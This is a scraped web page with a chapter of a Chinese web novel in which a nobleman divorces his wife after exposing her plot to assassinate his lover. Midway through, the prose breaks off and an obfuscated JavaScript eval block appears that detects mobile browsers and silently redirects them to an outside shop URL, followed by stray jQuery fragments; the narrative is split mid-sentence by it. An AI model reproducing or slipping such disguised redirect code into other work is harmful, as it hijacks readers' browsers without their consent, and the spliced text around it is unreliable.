文趣网 > 其他小说 > 熟禾 > 47. 和离
    “我要和谢嫣然和离。”

    老夫人对着刘妈妈道:“先把小希抱下去。”

    伺候的人也都跟着刘妈妈出了门,老夫人才开口:“你如今有了孩子,还在大理寺任职,若是其他事情,我也不会参与,但是和离……”

    “和离就不只是你和谢嫣然的事儿了,还是我们和丞相府的事,谢丞相在朝中支持者众多,你和你父亲都在朝中任职,我怕你们以后的官路艰辛。”

    魏景珩却道:“祖母不必担忧,我有法子让丞相府高高兴兴地将谢嫣然带回去。”

    老夫人疑惑:“什么法子?”

    “先保密,孙儿做事儿你还不放心?”魏景珩脸上带着笑。

    老夫人故意瘪嘴:“你这些年做的事还挺不让我放心。”

    魏景珩沉默,他居然有些无法反驳:“祖母,这次您就相信孙儿。”

    老夫人慢慢地盘着手上的佛珠,叹息一声:“行,祖母也不拦你,你母亲那边应该也会松口,你唯一要劝导的,是你父亲。”

    魏景珩顿住,解释道:“我刚刚想先去找父亲的,但是母亲说最近父亲回来得很晚。”

    “你父亲他,应该不会同意。”老夫人道。

    魏景珩抬眼:“祖母为何这么说?”

    老夫人轻哼一声:“他是我生的我还能不知道?你父亲可不像你。”

    魏景珩起身:“既然如此,那我去父亲的书房等他。”

    “等等。”

    魏景珩回头:“祖母还有事?”

    老夫人抬头看他:“最重要的人你还没说呢。”

    “您说熟禾?”

    老夫人白了他一眼:“不然我说谁?”

    魏景珩扬起嘴角,但是想到熟禾并没有答应自己,原本扬起的嘴角又落了下去:“熟禾她,在梅花巷过得很好。”

    老夫人追问道:“她要回国公府吗?”

    魏景珩面带苦涩,摇了摇头。

    老夫人不敢置信:“那你这些日子一直在外面是在干嘛?”

    魏景珩不能说出自己受了伤,只能摇了摇头。

    老夫人恨铁不成钢:“女人都追不到,笨得要死,我看当初熟禾离开你是正确的。”

    魏景珩终于忍不住:“祖母!”

    “怎么?我说错了?”老夫人瞪了他一眼。

    魏景珩语气带了些许委屈:“那我该怎么办?”

    老夫人放下佛珠:“自己想去,我说的有什么用,以后是你们俩相处,又不是我和你们相处。”

    魏景珩无奈:“那孙儿告退了。”

    他在国公爷魏曙的书房等着,魏曙回房时,已到亥时。

    魏曙身上一股酒味,由小厮扶着,摇摇晃晃进了屋:“听说你找我有事?”

    魏景珩闻到他身上的酒味皱眉:“就算是官场应酬,父亲也该少喝一些。”

    魏曙甩手:“我没喝多!”

    魏景珩无语,和喝多的人真是没什么可多说的:“谁说你喝多了,我今天来找您,是告诉你,等休沐日,我会请了魏家的人来,我要和离。”

    魏曙扶着矮榻就要躺下,也不知听没听到他的话,嘴里还囔囔着意味不明的声音。

    魏景珩无奈走出书房,对着门口的丫鬟道:“好好伺候。”

    他回了自己的书房,写了一封帖子交给言一:“明天空了送去丞相府。”

    躺在床上,魏景珩感受着宽敞的大床,没有一丝睡意。

    他又想起了熟禾梅花巷的小院,屋子不大,但是十分温馨,他伤口不再隐隐作痛的那些日子,他入睡总是很快。

    不知她有没有想他。

    魏景珩摇摇头,熟禾肯定沉浸在她的生活里,她总有很多事要干。

    他突然对着床下喊:“言二。”

    言二爬起身:“怎么了世子?”

    魏景珩道:“明天你去寻两个有功夫在身的丫鬟,功夫一定要好,送到梅花巷十八号。”

    言二应是。

    休沐日这天上午,用完早饭,谢丞相和丞相夫人一起来了国公府,魏景珩备好了花厅,将所有人齐聚一堂。

    他拿着自己的财产册子,坐在老夫人旁边:“既然人都齐了,我也就长话短说。”

    在所有人的注视下,魏景珩缓缓开口:“今日,我要和谢嫣然和离,谢嫣然的嫁妆全数带走,我名下的财产将分为两份,其中一份分给谢嫣然作为她这三年的补偿。”

    最先拍桌起身的是丞相夫人:“魏景珩!嫣儿嫁入你家,一直恪守妇道,还失了孩子,如今你居然要和离!”

    谢嫣然也看到母亲为自己撑腰,走到丞相夫人旁边,拿着帕子默默垂泪。

    魏景珩接话道:“所以,我只说和离,并不是休妻,也是全了我们两家的体面。”

    这话一出,谢丞相也坐不住了:“世子这话实在太过严重了。”

    魏曙连忙出来打圆场:“亲家,亲家母,我看珩哥儿今日是烧糊涂了,别把他的胡话当真。”

    魏景珩打断道:“父亲!今日这事必须解决。”

    魏曙气急,伸出手颤颤巍巍地指着魏景珩:“你,你,胡闹!”

    魏景珩给了言一一个眼神,言一绕道到魏曙身后,扶着他:“国公爷,您先坐下。”

    众人面面相觑,整个花厅只有谢嫣然的啜泣声。

    魏景珩看向躲在丞相夫人身边的谢嫣然:“谢嫣然,你说呢?”

    谢嫣然放下帕子,眼睛通红,前些日子她派出去的人告诉她,刺杀熟禾时,魏景珩突然出现,不仅没伤到熟禾,反而刺伤了魏景珩。

    派出去的人问她,要不要继续追杀?追杀熟禾的时候要不要保证世子爷的安全。

    听到魏景珩受伤的时候,她吓了一跳,情急之下,她只道:“追,但是得保证世子爷的安全。”

    当晚,她睡在床上,想到魏景珩受伤便十分慌张,她的脑海里居然出现了一个念头,魏景珩死了就好了。

    他死了,就能解决一切问题。

    可是下一秒,谢嫣然又因为自己的念头心慌。

    她怎么胆子越来越大了?

    结果又过了几日,派出去的人说,丢失了两人的踪迹。

    谢嫣然开始心慌

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17560746|204543||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,直到魏景珩回府那日,玉壶没有将魏景珩请回常衡院,她的心就一直悬着,直到今天。

    “谢嫣然,你说呢?”

    她听到了魏景珩的语气,平静的话语下隐藏着不耐烦,她攥紧了母亲的手,颤颤巍巍开口道:“世子,我不知道做了什么惹您如此生气,我改就是了。”

    魏景珩抬眼,语气冷硬:“我们夫妻一场,好聚好散,若是我把你做的那些事说出来,丢的是你的脸面。”

    谢嫣然抽泣的肩膀顿住,魏景珩知道自己做的事情了?

    谢丞相没看见丞相夫人给他使的眼色,开口:“世子不如直说,反正屋里坐的都是自家人,若是嫣然做的不对,我们谢家也无话可说。”

    “既如此,我也就不藏着掖着,言二,把人带上来。”

    谢嫣然看着言二带上来的人,他的双手用粗麻绳捆住,是那个给她报信的人,她的心越调越快,怪不得这些日子没见有人来报信了,她还以为他们追去别的地方了。

    丞相夫人看见地上之人的脸,平静的神色再也绷不住。

    魏景珩将众人的神色尽收眼底:“你说。”

    “主子让我去刺杀熟禾姑娘,奴才技艺不精,不小心伤到了世子爷。”

    “什么!”最先起身的是国公夫人,她一直没说话,听到魏景珩受伤才情绪激动:“珩哥儿,伤在哪里?伤得重不重?”

    “刘妈妈,你拿着我的帖子去请太医,给珩哥儿好好看看!”老夫人大声道。

    魏景珩安抚二人:“祖母,母亲,伤并不严重,在外养了那么多日,伤口早就好了,不必麻烦太医了。”

    老夫人和国公夫人才缓缓坐下,国公夫人还是不放心:“待会儿让我看看你的伤口。”

    魏景珩点头:“好。”

    这话一出,谢丞相再没了刚才的气势,转向谢嫣然:“嫣然,你可还有话说?”

    谢嫣然摇摇头,她知道的,自己大势已去,如今女子出嫁从夫,夫为妻纲,刺杀丈夫乃是十恶不赦,更何况魏景珩还是官身。

    就算如自己这般误伤,也要十倍还于自己的丈夫。

    在她父亲眼里,或许魏景珩能提出和离,还有财产补偿,已经是魏景珩宽容大度了。

    若是他先以受伤的事情发难,就算是休妻,她也只能受着。

    谢嫣然不合时宜地笑了一声,她确实做错了,她不该心慈手软,她应该杀了魏景珩,一劳永逸。

    若是魏景珩死了,她又有了孩子,还不会被和离。

    她看着魏景珩将他的财产分为两份,谢丞相看着那张单子,脸上甚至还能有笑容。

    谢嫣然不合时宜地想:或许这些人还觉得自己和离能得到魏景珩的东西,自己赚大了。

    言一磨墨,魏景珩在花厅亲手写下了和离书。

    和离书的末尾是写着:

    自此一别,恩怨两清。

    谢嫣然签了自己的名字,然后看着魏景珩将两份和离书收起来:“待会儿我会派人将和离书送去官府备案,我和你,自此便恩怨两清。”

    恩怨两清,好一个恩怨两清。